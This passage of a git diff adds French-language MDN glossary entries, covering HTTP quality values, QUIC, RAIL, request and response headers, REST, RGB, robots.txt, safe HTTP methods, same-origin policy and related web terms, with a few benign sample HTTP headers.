indique l'ordre de priorité :

+ + + + + + + + + + + + + + + + + + + + + + +
ValeurPriorité
text/html et application/xhtml+xml1.0
application/xml0.9
*/*0.8
+ +

S'il n'y a pas de priorité définie pour les deux premières valeurs, l'ordre dans la liste est sans importance. Néanmoins, avec la même qualité, des valeurs plus spécifiques ont la priorité sur celles qui le sont moins :

+ +
text/html;q=0.8,text/*;q=0.8,*/*;q=0.8
+
+ + + + + + + + + + + + + + + + + + + + +
ValeurPriorité
text/html0.8 (totalement spécifié)
text/*0.8 (partiellement spécifié)
*/*0.8 (non spécifié)
+ +

Quelques syntaxes, comme celle de {{HTTPHeader("Accept")}}, autorisent des spécificateurs supplémentaires comme text/html;level=1. Ceux-ci augmentent la spécificité de la valeur. Leur utilisation est extrêmement rare.

+ +

Information propre aux navigateurs

+ +

Firefox

+ +

À partir de Firefox 18, les valeurs du facteur de qualité sont fixées à 2 décimales. Elles étaient limitées à 1 décimale dans les versions antérieures ({{bug(672448)}}).

+ +

Plus d'informations

+ +
    +
  • En-têtes HTTP utilisant des q-values dans leur syntaxe : {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("TE")}}.
    • +
diff --git a/files/fr/glossary/quic/index.html b/files/fr/glossary/quic/index.html new file mode 100644 index 0000000000..45f9ee0f9b --- /dev/null +++ b/files/fr/glossary/quic/index.html @@ -0,0 +1,39 @@ +--- +title: QUIC +slug: Glossaire/QUIC +tags: + - Glossaire + - HTTP + - Performance Web + - QUIC + - Reference +translation_of: Glossary/QUIC +--- +

Quick UDP Internet Connection, ou QUIC,  est un protocole de transport multiplexé expérimental implémenté sur UDP.  Il a été développé par Google comme un moyen d'expérimenter des moyens d'améliorer TCP et la livraison d'applications Web. Comme TCP est intégré au noyau de nombreux systèmes d'exploitation, être capable d'expérimenter des changements, de les tester et d'implémenter des modifications est un processus extrêmement lent. La création de QUIC permet aux développeurs de mener des expériences et d'essayer de nouvelles choses plus rapidement.

+ +

QUIC a été conçu pour prendre en charge la sémantique de HTTP / 2. Il fournit le multiplexage, le contrôle de flux, la sécurité et le contrôle de la congestion.

+ +

Les principales caractéristiques de QUIC comprennent:

+ +
    +
  • Réduction du temps d'établissement de la connexion.
    • +
  • Meilleur contrôle de la congestion.
    • +
  • Multiplexage sans blocage de tête de ligne.
    • +
  • Correction d'erreur avant.
    • +
  • Migration de connexion.
    • +
+ +

La prise en charge du navigateur et du serveur pour QUIC est aujourd'hui limitée.

+ +

Ressources

+ + + +

Voir aussi

+ + diff --git a/files/fr/glossary/rail/index.html b/files/fr/glossary/rail/index.html new file mode 100644 index 0000000000..ec6527e25c --- /dev/null +++ b/files/fr/glossary/rail/index.html @@ -0,0 +1,28 @@ +--- +title: RAIL +slug: Glossaire/RAIL +tags: + - Glossaire + - Performance Web + - RAIL + - Timings +translation_of: Glossary/RAIL +--- +

RAIL, acronyme de Response, Animation, Idle, et Load, est un modèle de performance créé par l'équipe Google Chrome en 2015, axé sur l'expérience utilisateur et les performances dans le navigateur. Le mantra de performance de RAIL est "Concentrez-vous sur l'utilisateur; l'objectif final n'est pas de rendre votre site performant sur un appareil spécifique, c'est de rendre les utilisateurs heureux." Il y a 4 étapes d'interaction: chargement de la page, inactivité, réponse à l'entrée, et défilement et animation. Dans l'ordre des acronymes, les principaux principes sont:

+ +
+
Response
+
Répondez immédiatement aux utilisateurs, en reconnaissant toute entrée utilisateur en 100ms ou moins.
+
Animation
+
Lors de l'animation, effectuez le rendu de chaque image en moins de 16ms, dans un souci de cohérence et en évitant les secousses.
+
Idle
+
Lorsque vous utilisez le thread JavaScript principal, travaillez par blocs pendant moins de 50ms pour libérer le thread pour les interactions de l'utilisateur.
+
Load
+
Diffusez du contenu interactif en moins d' 1 seconde.
+
+ +

Voir aussi

+ + diff --git a/files/fr/glossary/raster_image/index.html b/files/fr/glossary/raster_image/index.html new file mode 100644 index 0000000000..b04889fcef --- /dev/null +++ b/files/fr/glossary/raster_image/index.html @@ -0,0 +1,18 @@ +--- +title: Image matricielle +slug: Glossaire/Image_matricielle +tags: + - Glossaire + - Images +translation_of: Glossary/Raster_image +--- +

Une image matricielle (raster) est un fichier image défini comme une grille de pixels. Elles sont également appelées des "cartes de points" (bitmaps). Les formats d'image matricielle communs sur le web sont JPEG, PNG, GIF et ICO.

+ +

Les fichiers d'image matricielle contiennent généralement un ensemble de dimensions, mais les formats ICO et CUR, utilisés pour les favicons et les images de la propriété cursor en CSS, peuvent contenir plusieurs tailles.

+ +

Voir aussi

+ +
    +
  • {{glossary("Vector images","Image vectorielle")}}
    • +
  • {{Interwiki("wikipedia","Image_matricielle","Image matricielle")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/rdf/index.html b/files/fr/glossary/rdf/index.html new file mode 100644 index 0000000000..e40c7146f1 --- /dev/null +++ b/files/fr/glossary/rdf/index.html @@ -0,0 +1,21 @@ +--- +title: RDF +slug: Glossaire/RDF +tags: + - Compatibilité + - Encodage + - Glossaire + - Infrastructure + - Mécanismes web + - Pratiques +translation_of: Glossary/RDF +--- +

RDF (Resource Description Framework) est un langage développé par le W3C pour représenter des informations sur le World Wide Web, comme des pages Web. RDF apporte une manière standard de coder des informations afin que celles-ci puissent être échangées de façon totalement automatisée entre applications.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Resource Description Framework")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/real_user_monitoring/index.html b/files/fr/glossary/real_user_monitoring/index.html new file mode 100644 index 0000000000..a1dc649906 --- /dev/null +++ b/files/fr/glossary/real_user_monitoring/index.html @@ -0,0 +1,19 @@ +--- +title: Real User Monitoring (RUM) +slug: Glossaire/Real_User_Monitoring +tags: + - Glossaire + - Performance Web + - RUM + - Reference +translation_of: Glossary/Real_User_Monitoring +--- +

Le Real User Monitoring ou RUM mesure les performances d'une page à partir des machines des utilisateurs réels. Généralement, un script tiers injecte un script sur chaque page pour mesurer et rapporter les données de chargement de page pour chaque demande effectuée. Cette technique surveille les interactions réelles des utilisateurs d'une apllication. Dans RUM, le script tiers collecte des mesures de performances à partir des navigateurs des utilisateurs réels. RUM permet d'identifer comment une application est utilisée, y compris la répartition géographique des utilisateurs et l'impact de cette distribution sur l'expérience de l'utilisateur final.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/recursion/index.html b/files/fr/glossary/recursion/index.html new file mode 100644 index 0000000000..bf35184e73 --- /dev/null +++ b/files/fr/glossary/recursion/index.html @@ -0,0 +1,18 @@ +--- +title: Récursion +slug: Glossaire/Récursion +tags: + - CodingScripting + - Glossaire +translation_of: Glossary/Recursion +--- +

Une fonction qui agit en s'appelant elle-même. Une récursion est utilisée pour résoudre des problèmes qui contiennent des sous-problèmes plus petits. Une fonction récursive peut prendre deux entrées : un cas de base (qui met fin à la récursion) ou un cas de propagation (qui poursuit la récursion).

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/reference/index.html b/files/fr/glossary/reference/index.html new file mode 100644 index 0000000000..bc31591a1f --- /dev/null +++ b/files/fr/glossary/reference/index.html @@ -0,0 +1,19 @@ +--- +title: Référence +slug: Glossaire/Référence +tags: + - Glossaire + - Programmation +translation_of: Glossary/Reference +--- +

Dans le contexte des {{glossary("object","objets")}}, une {{glossary("Object reference","référence d'objet")}}. Sur MDN, nous pourrions parler de la référence {{glossary ("JavaScript")}} elle-même.

+ +

En informatique, une référence est une valeur permettant d'accéder indirectement à une donnée dans le but de récupérer une variable ou un enregistrement, soit dans la mémoire de l'ordinateur, soit sur un périphérique de stockage quelconque.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Référence (programmation)")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/reflow/index.html b/files/fr/glossary/reflow/index.html new file mode 100644 index 0000000000..c191454acd --- /dev/null +++ b/files/fr/glossary/reflow/index.html @@ -0,0 +1,15 @@ +--- +title: Reflow +slug: Glossaire/Reflow +tags: + - Glossaire + - Mécanismes web +translation_of: Glossary/Reflow +--- +

Le reflow se produit quand un {{glossary("browser","navigateur")}} doit réarranger et redessiner tout ou partie d'une page web, par exemple, après une mise à jour sur un site interactif.

+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/regular_expression/index.html b/files/fr/glossary/regular_expression/index.html new file mode 100644 index 0000000000..9ca7b9388b --- /dev/null +++ b/files/fr/glossary/regular_expression/index.html @@ -0,0 +1,28 @@ +--- +title: Expression Régulière +slug: Glossaire/Regular_expression +tags: + - CodingScripting + - Glossary + - Regular Expression +translation_of: Glossary/Regular_expression +--- +

Les expressions régulières (ou regex en anglais) sont des règles qui gouvernent quelles séquences de caractères ressortent dans une recherche.

+ +

Les expressions régulières (ou expressions rationnelles) sont implémentées dans de nombreux langages. La plus connue est l'implémentation de Perl, qui a donné naissance à son propre éco-système d'implémentations appelé PCRE (Perl Compatible Regular Expression). Sur internet, {{glossary("JavaScript")}} fournit une autre implémentation regex à travers l'objet {{jsxref("RegExp")}}.

+ +

En savoir plus

+ +

Connaissance générale

+ + + +

Références techniques

+ + diff --git a/files/fr/glossary/rendering_engine/index.html b/files/fr/glossary/rendering_engine/index.html new file mode 100644 index 0000000000..c47d87d80c --- /dev/null +++ b/files/fr/glossary/rendering_engine/index.html @@ -0,0 +1,26 @@ +--- +title: Moteur de rendu +slug: Glossaire/Moteur_de_rendu +tags: + - Glossaire + - Infrastructure + - Moteur de navigateur web + - Moteur de rendu +translation_of: Glossary/Rendering_engine +--- +

Un moteur de rendu est un logiciel qui trace du texte et des images à l'écran. Le moteur dessine du texte structuré à partir d'un document (souvent du {{glossary("HTML")}}), et le met en page correctement en se basant sur les déclarations de styles données (souvent indiquées dans des {{glossary("CSS")}}). Exemples de moteurs d'affichage : {{glossary("Blink")}}, {{glossary("Gecko")}}, Edge, {{glossary("WebKit")}}.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Moteur de rendu HTML")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/repo/index.html b/files/fr/glossary/repo/index.html new file mode 100644 index 0000000000..450bcb73f6 --- /dev/null +++ b/files/fr/glossary/repo/index.html @@ -0,0 +1,19 @@ +--- +title: Repo +slug: Glossaire/Dépôt +tags: + - Dépôt + - Glossaire + - Infrastructure + - Intro +translation_of: Glossary/Repo +--- +
+

Dans les systèmes de gestion de versions comme {{Glossary("Git")}} ou {{Glossary("SVN")}} , un dépôt est l'endroit où sont hébergés le code source d'une application ainsi que diverses méta-données.

+ +

Pour en savoir plus

+ + +
diff --git a/files/fr/glossary/reporting_directive/index.html b/files/fr/glossary/reporting_directive/index.html new file mode 100644 index 0000000000..2e902e422a --- /dev/null +++ b/files/fr/glossary/reporting_directive/index.html @@ -0,0 +1,32 @@ +--- +title: Directive de rapport +slug: Glossaire/Directive_de_rapport +tags: + - CSP + - Glossaire + - Sécurité +translation_of: Glossary/Reporting_directive +--- +

Les directives de rapports {{Glossary("CSP")}} sont utilisées dans un en-tête {{HTTPHeader("Content-Security-Policy","Politique de sécurité de contenu")}} et contrôlent le processus de génération de rapports sur les violations CSP.

+ +

Ces directives CSP sont :

+ +
    +
  • {{CSP("report-uri")}}
    • +
  • {{CSP("report-to")}}
    • +
+ +
+

En apprendre plus

+ +
    +
  • {{HTTPHeader("Content-Security-Policy","Politique de sécurité de contenu")}}
    • +
  • Autres types de directives: +
      +
    • {{Glossary("Fetch directive","Directive de récupération")}}
      • +
    • {{Glossary("Document directive","Directive de document")}}
      • +
    • {{Glossary("Navigation directive","Directive de navigation")}}
      • +
    +
    • +
+
diff --git a/files/fr/glossary/request_header/index.html b/files/fr/glossary/request_header/index.html new file mode 100644 index 0000000000..613e412700 --- /dev/null +++ b/files/fr/glossary/request_header/index.html @@ -0,0 +1,46 @@ +--- +title: En-tête de requête +slug: Glossaire/En-tête_de_requête +tags: + - En-têtes + - Glossaire + - HTTP + - Mécanismes web +translation_of: Glossary/Request_header +--- +

Un en-tête de requête est un {{glossary("header","en-tête HTTP")}} qui peut être utilisé dans une requête HTTP et ne concerne pas le contenu du message. Les en-têtes de requête, comme {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language", "Accept-*")}} ou {{HTTPHeader("If-Modified-Since","If-*")}}, permettent d'effectuer des requêtes conditionnelles ; d'autres comme {{HTTPHeader("Cookie")}}, {{HTTPHeader("User-Agent")}} ou {{HTTPHeader("Referer")}} précisent le contexte pour que le serveur adapte la réponse.

+ +

Tous les en-têtes apparaissant dans une requête ne sont pas des en-têtes de requête. Par exemple, l'en-tête {{HTTPHeader("Content-Length")}} apparaissant dans une requête {{HTTPMethod("POST")}} est en fait un {{glossary("entity header","en-tête d'entité")}} faisant référence à la taille du corps du message de requête. Cependant, ces en-têtes d'entité sont souvent appelés en-têtes de requête dans un tel contexte.

+ +

De plus, CORS définit un sous-ensemble d'en-têtes de requête comme {{glossary('simple header','en-têtes simples')}}, en-têtes de requêtes qui sont toujours considérés comme autorisés et non listés explicitement dans les réponses des requêtes de {{glossary("preflight request", "contrôle")}}.

+ +

Quelques en-têtes de requêtes après une requête {{HTTPMethod("GET")}} :

+ +
GET /home.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/testpage.html
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+If-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT
+If-None-Match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a"
+Cache-Control: max-age=0
+ +

À strictement parler, l'en-tête {{HTTPHeader("Content-Length")}} dans cet exemple n'est pas un en-tête de requête comme les autres, mais un {{glossary("entity header","en-tête d'entité")}} :

+ +
POST /myform.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Content-Length: 128
+
+ +

En apprendre plus

+ +

Savoir technique

+ + diff --git a/files/fr/glossary/response_header/index.html b/files/fr/glossary/response_header/index.html new file mode 100644 index 0000000000..e153de28ba --- /dev/null +++ b/files/fr/glossary/response_header/index.html @@ -0,0 +1,41 @@ +--- +title: En-tête de réponse +slug: Glossaire/En-têtes_de_réponse +tags: + - En-têtes + - Glossaire + - HTTP + - Mécanismes web +translation_of: Glossary/Response_header +--- +

Un en-tête de réponse est un {{glossary("header","en-tête HTTP")}} qui peut être utilisé dans une réponse HTTP et qui ne concerne pas le contenu du message. Les en-têtes de réponse comme {{HTTPHeader("Age")}}, {{HTTPHeader("Location")}} ou {{HTTPHeader("Server")}} sont utilisés pour donner un contexte plus détaillé de la réponse.

+ +

Tous les en-têtes apparaissant dans une réponse ne sont pas des en-têtes de réponse. Par exemple, l'en-tête {{HTTPHeader("Content-Length")}} est un {{glossary("Entity header","en-tête d'entité")}} faisant référence à la taille du coprs du message de requête. Cependant, ces requêtes d'entité sont généralement appelées en-têtes de réponses dans un tel contexte.

+ +

Le code suivant montre quelques en-têtes de réponse après une requête {{HTTPMethod("GET")}}. Notez qu'à strictement parler, les en-têtes {{HTTPHeader("Content-Encoding")}} et {{HTTPHeader("Content-Type")}} sont des {{glossary("Entity header","en-têtes d'entité")}} :

+ +
200 OK
+Access-Control-Allow-Origin: *
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Mon, 18 Jul 2016 16:06:00 GMT
+Etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a"
+Keep-Alive: timeout=5, max=997
+Last-Modified: Mon, 18 Jul 2016 02:36:04 GMT
+Server: Apache
+Set-Cookie: mykey=myvalue; expires=Mon, 17-Jul-2017 16:06:00 GMT; Max-Age=31449600; Path=/; secure
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+X-Backend-Server: developer2.webapp.scl3.mozilla.com
+X-Cache-Info: not cacheable; meta data too large
+X-kuma-revision: 1085259
+x-frame-options: DENY
+ +

En apprendre plus

+ +

Savoir technique

+ + diff --git a/files/fr/glossary/responsive_web_design/index.html b/files/fr/glossary/responsive_web_design/index.html new file mode 100644 index 0000000000..7a9eac7a66 --- /dev/null +++ b/files/fr/glossary/responsive_web_design/index.html @@ -0,0 +1,18 @@ +--- +title: Conception web adaptative +slug: Glossaire/Responsive_web_design +tags: + - Conception + - Glossaire +translation_of: Glossary/Responsive_web_design +--- +

Conception web adaptative (Responsive Web Design (RWD)) est un concept de développement web concentré sur l'aspect et le comportement optimaux des sites sur tous les appareils informatiques personnels, du bureau au mobile.

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/rest/index.html b/files/fr/glossary/rest/index.html new file mode 100644 index 0000000000..9fd6469c0c --- /dev/null +++ b/files/fr/glossary/rest/index.html @@ -0,0 +1,31 @@ +--- +title: REST +slug: Glossaire/REST +tags: + - Architecture + - Glossaire + - HTTP + - Mécanismes web +translation_of: Glossary/REST +--- +

Representational State Transfer (REST) désigne un groupe de contraintes concernant l'architecture logicielle destiné à apporter aux systèmes efficacité, fiabilité et scalabilité. Un système est appelé "RESTful" lorsqu'il adhère à ces contraintes.

+ +

L'idée de base de REST est qu'une ressource, par exemple  un document, est transférée avec son état et ses relations (hypertexte) via des opérations et des formats standardisés et bien définis. Souvent, les API ou les services s'appellent RESTful lorsqu'ils agissent sur n'importe quel type de document, par opposition à des actions déclenchées ailleurs.

+ +

Parce que HTTP, le protocole derrière le World Wide Web (WWW), transfère des documents et des liens hypertextes et est également une norme, les API HTTP simples sont parfois familièrement appelés API RESTful, RESTful Services ou simplement REST Services même s'ils n'adhèrent pas nécessairement à toutes les contraintes REST. Les débutants peuvent simplement supposer qu'un API REST signifie un service HTTP qui peut être appelé à l'aide de bibliothèques et d'outils web standards.

+ +

Pour approfondir

+ +

Apprendre

+ + + +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Representational_state_transfer", "REST")}} sur Wikipédia
    • +
  • REST Architecture (en)
    • +
diff --git a/files/fr/glossary/rgb/index.html b/files/fr/glossary/rgb/index.html new file mode 100644 index 0000000000..17d16490e0 --- /dev/null +++ b/files/fr/glossary/rgb/index.html @@ -0,0 +1,27 @@ +--- +title: RVB +slug: Glossaire/RGB +tags: + - CSS + - Conception + - Débutant + - Guide +translation_of: Glossary/RGB +--- +

Rouge Vert Bleu (RVB) est un modèle de couleurs qui représente les couleurs comme étant une combinaison de trois composantes sous-jacentes (ou canaux), à savoir, rouge, verte et bleue. Chaque couleur est décrite par une suite de trois valeurs (en général comprises entre 0,0 et 1,0, ou entre 0 et 255) qui correspondent aux différentes intensités de rouge, vert et bleu contribuant à déterminer la couleur finale.

+ +

Il existe de nombreuses façons de décrire les composantes RVB d'une couleur. En {{Glossary("CSS")}}, elles peuvent être représentées sous la forme d'un unique entier de 24 bits en notation hexadécimale (par exemple, #add8e6 pour du bleu clair), ou dans une notation fonctionnelle comme trois entiers 8 bits distincts (par exemple, rgb(46, 139, 87) est un vert océan). En {{Glossary("OpenGL")}}, {{Glossary("WebGL")}} et {{Glossary("GLSL")}}, les composantes rouge-vert-bleu sont des fractions (nombres à virgule flottante compris entre 0,0  et 1,0), bien qu'elles soient généralement stockées concrètement en mémoire vidéo comme des entiers 8 bits. Graphiquement, une couleur peut être représentée par un point dans un cube ou sur une grille tridimensionnelle, où chaque dimension (ou axe) correspond à un canal différent.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Apprendre

+ + diff --git a/files/fr/glossary/ril/index.html b/files/fr/glossary/ril/index.html new file mode 100644 index 0000000000..bb2cbaf8f9 --- /dev/null +++ b/files/fr/glossary/ril/index.html @@ -0,0 +1,27 @@ +--- +title: RIL +slug: Glossaire/RIL +tags: + - Firefox OS + - Glossaire + - Infrastructure + - Intro + - Mobile + - Téléphonie +translation_of: Glossary/RIL +--- +

Le RIL (Radio Interface Layer) est un élément du système d'exploitation mobile qui fait communiquer le logiciel de l'appareil avec le matériel du téléphone, radio ou modem.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/rng/index.html b/files/fr/glossary/rng/index.html new file mode 100644 index 0000000000..803fb0591d --- /dev/null +++ b/files/fr/glossary/rng/index.html @@ -0,0 +1,20 @@ +--- +title: Générateur de nombres pseudo-aléatoires +slug: Glossaire/RNG +tags: + - CodingScripting + - Glossaire +translation_of: Glossary/RNG +--- +

Un PRNG (pseudorandom number generator, ou générateur de nombres pseudo-aléatoires en français) est un algorithme qui génère des nombres selon une séquence complexe et apparemment non prévisible. Les véritables nombres aléatoires (issus, disons, d'une source radioactive) sont totalement imprévisibles, tandis que les résultats de tous les algorithmes peuvent être prédits, et un PRNG renvoie les mêmes nombres lorsque les mêmes paramètres initiaux ou graines sont utilisés.

+ +

En fonction de la qualité de l'algorithme et de l'entropie de l'ensemencement, les PRNG diffèrent en degré de sécurité et donc dans leurs applications.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Générateur de nombres pseudo-aléatoires")}} sur Wikipédia
    • +
  • {{jsxref("Math.random()")}}, une fonction PRNG intégrée à JavaScript
    • +
diff --git a/files/fr/glossary/robots.txt/index.html b/files/fr/glossary/robots.txt/index.html new file mode 100644 index 0000000000..36537482fa --- /dev/null +++ b/files/fr/glossary/robots.txt/index.html @@ -0,0 +1,19 @@ +--- +title: Robots.txt +slug: Glossaire/Robots.txt +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/Robots.txt +--- +

Robots.txt est un fichier qui est habituellement placé à la racine d'un site web. Il détermine si les {{Glossary("crawler", "robots d'indexation")}} ont ou non l'autorisation d'accéder au site web.

+ +

Par exemple, l'administrateur d'un site peut interdire aux robots d'indexation de parcourir un certain dossier (et tous les fichiers contenus à l'intérieur) ou de parcourir un fichier spécifique, généralement pour empêcher ces fichiers d'être indexés par d'autres moteurs de recherche.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Protocole_d'exclusion_des_robots", "Robots.txt")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/rss/index.html b/files/fr/glossary/rss/index.html new file mode 100644 index 0000000000..50b56e6e12 --- /dev/null +++ b/files/fr/glossary/rss/index.html @@ -0,0 +1,26 @@ +--- +title: RSS +slug: Glossaire/RSS +tags: + - Glossaire + - OpenPractices + - Partage + - RSS + - WebMechanics +translation_of: Glossary/RSS +--- +

RSS (Really Simple Syndication) désigne plusieurs formats de documents XML conçus pour annoncer des mises à jour de sites. Lorsque vous vous inscrivez au flux RSS d'un site web, ce dernier envoie des informations et annonces de mises à jour à votre lecteur RSS dans un document RSS appelé un flux, la consultation manuelle de tous vos sites préférés n'est donc plus nécessaire.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "RSS")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/rtf/index.html b/files/fr/glossary/rtf/index.html new file mode 100644 index 0000000000..df5c332129 --- /dev/null +++ b/files/fr/glossary/rtf/index.html @@ -0,0 +1,28 @@ +--- +title: RTF +slug: Glossaire/RTF +tags: + - Composing + - Format + - Glossaire + - RTF + - Rich Text Format +translation_of: Glossary/RTF +--- +

RTF (Rich Text Format) est un format de fichier en texte brut avec prise en charge d'instructions de formatage (comme gras ou italique).

+ +

Trois développeurs de l'équipe Microsoft Word ont créé le format RTF dans les années 1980, et Microsoft a poursuivi son développement jusqu'en 2008. Malgré ça, de nombreux traitements de texte peuvent toujours lire et écrire du RTF.

+ +

En savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Rich Text Format")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/rtl/index.html b/files/fr/glossary/rtl/index.html new file mode 100644 index 0000000000..e6bf34757b --- /dev/null +++ b/files/fr/glossary/rtl/index.html @@ -0,0 +1,6 @@ +--- +title: rtl +slug: Glossaire/rtl +translation_of: Glossary/rtl +--- +

RTL est une propriété de {{glossary("locale")}} indiquant que le texte est écrit de la droite vers la gauche. Par example la {{glossary("locale")}} he (pour Hébreu) possède la propriété RTL.

diff --git a/files/fr/glossary/rtp/index.html b/files/fr/glossary/rtp/index.html new file mode 100644 index 0000000000..bc09ce3b0f --- /dev/null +++ b/files/fr/glossary/rtp/index.html @@ -0,0 +1,25 @@ +--- +title: RTP (Real-time Transport Protocol) and SRTP (Secure RTP) +slug: Glossaire/RTP +tags: + - Glossaire + - RTP + - Réseau + - protocole +translation_of: Glossary/RTP +--- +

Le Real-time Transport Protocol (RTP) est un protocole réseau qui décrit comment transmettre divers médias (audio, vidéo) d'un point de terminaison à un autre en temps réel. RTP convient aux applications de streaming vidéo, à la téléphonie sur {{glossary ("IP")}} comme Skype et aux technologies de conférence.

+ +

La version sécurisée de RTP, SRTP, est utilisé par WebRTC, et utilise le cryptage et l'authentification pour minimiser le risque d'attaques par déni de service et de failles de sécurité.

+ +

RTP est rarement utilisé seul; à la place, il est utilisé en conjonction avec d'autres protocoles comme {{glossary("RTSP")}} et {{glossary("SDP")}}.

+ +

Apprendre plus

+ +

Culture générale

+ +
    +
  • Introduction au Real-time Transport Protocol
    • +
  • {{Interwiki("wikipedia", "Real-time_Transport_Protocol","RTP")}} sur Wikipédia
    • +
  • {{RFC(3550)}} (l'un des documents qui spécifie précisément le fonctionnement du protocole)
    • +
diff --git a/files/fr/glossary/ruby/index.html b/files/fr/glossary/ruby/index.html new file mode 100644 index 0000000000..26e48d7db2 --- /dev/null +++ b/files/fr/glossary/ruby/index.html @@ -0,0 +1,25 @@ +--- +title: Ruby +slug: Glossaire/Ruby +tags: + - Glossaire + - Programmation + - Ruby +translation_of: Glossary/Ruby +--- +

Ruby est un langage de programmation open-source. Dans le domaine du {{glossary("world wide web","web")}}, Ruby est souvent utilisé côté serveur avec le framework Ruby On Rails (ROR) pour développer des applications/sites web.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • Ruby sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/safe/index.html b/files/fr/glossary/safe/index.html new file mode 100644 index 0000000000..cfab50bcff --- /dev/null +++ b/files/fr/glossary/safe/index.html @@ -0,0 +1,44 @@ +--- +title: Sécurisée +slug: Glossaire/sécurisée +tags: + - Glossaire + - Mécanismes web + - Sécurité +translation_of: Glossary/safe +--- +

Une méthode HTTP est sécurisée (safe) si elle ne modifie pas l'état du serveur. En d'autres termes, une méthode est sécurisée si elle conduit à une opération en lecture seule. Plusieurs méthodes HTTP courantes sont sécurisées : {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}} ou {{HTTPMethod("OPTIONS")}}. Toutes les méthodes sécurisées sont aussi {{glossary("idempotent","idempotentes")}} ainsi que certaines méthodes non sécurisées comme {{HTTPMethod("PUT")}} ou {{HTTPMethod("DELETE")}}.

+ +

Même si les méthodes sécurisées ont une sémantique en lecture seule, les serveurs peuvent modifier leur état : par exemple, ils peuvent se connecter ou garder des statistiques. Ce qui est important ici, c'est qu'en appelant une méthode sécurisée, le client ne demande pas de changement du serveur lui-même et, par conséquent, ne créera pas de téléchargement ou de chargement inutile pour le serveur. Les navigateurs peuvent appeler des méthodes sécurisées sans craindre de causer des dommages au serveur : cela leur permet d'effectuer des activités comme la pré-extraction sans risque. Les robots d'exploration web s'appuient également sur l'appel de méthodes sécurisées.

+ +

Les méthodes sécurisées n'ont pas besoin de servir uniquement des fichiers statiques ; un serveur peut générer une réponse à une méthode sécurisée à la volée, à condition que le script de génération garantisse la sécurité : il ne doit pas déclencher d'effets externes, comme le lancement d'une commande sur un site web de commerce électronique.

+ +

Il est de la responsabilité de l'application sur le serveur d'implémenter la sémantique sécurisée correctement, le serveur web, Apache, nginx ou IIS, ne peuvent pas l'appliquer eux-mêmes. En particulier, une application ne doit pas autoriser les demandes {{HTTPMethod("GET")}} à modifier son état.

+ +

Un appel à une méthode sécurisée ne modifiant pas l'état du serveur :

+ +
GET /pageX.html HTTP/1.1
+
+ +

Un appel à une méthode non sécurisée, susceptible de modifier l'état du serveur :

+ +
POST /pageX.html HTTP/1.1
+ +

Un appel à une méthode idempotente mais non sûre :

+ +
DELETE /idX/delete HTTP/1.1
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • Définition de safe (sécurisé) dans la spécification HTTP.
    • +
+ +

Technical knowledge

+ +
    +
  • Description de méthodes sécurisées courantes : {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("OPTIONS")}}
    • +
  • Description de méthodes non sécurisées courantes : {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("POST")}}
    • +
diff --git a/files/fr/glossary/same-origin_policy/index.html b/files/fr/glossary/same-origin_policy/index.html new file mode 100644 index 0000000000..d46dd58671 --- /dev/null +++ b/files/fr/glossary/same-origin_policy/index.html @@ -0,0 +1,21 @@ +--- +title: Same-origin policy +slug: Glossaire/Same-origin_policy +translation_of: Glossary/Same-origin_policy +--- +

La same-origin policy (politique de même origine) est un mécanisme de sécurité critique qui restreint la manière dont un document ou un script chargé depuis une {{Glossary("origine")}} peut interagir avec une ressource d’une autre origine. Elle aide à isoler les documents potentiellement malicieux, ce qui réduit les vecteurs d’attaque possibles.

+ +

Voir Same origin policy pour plus d’informations.

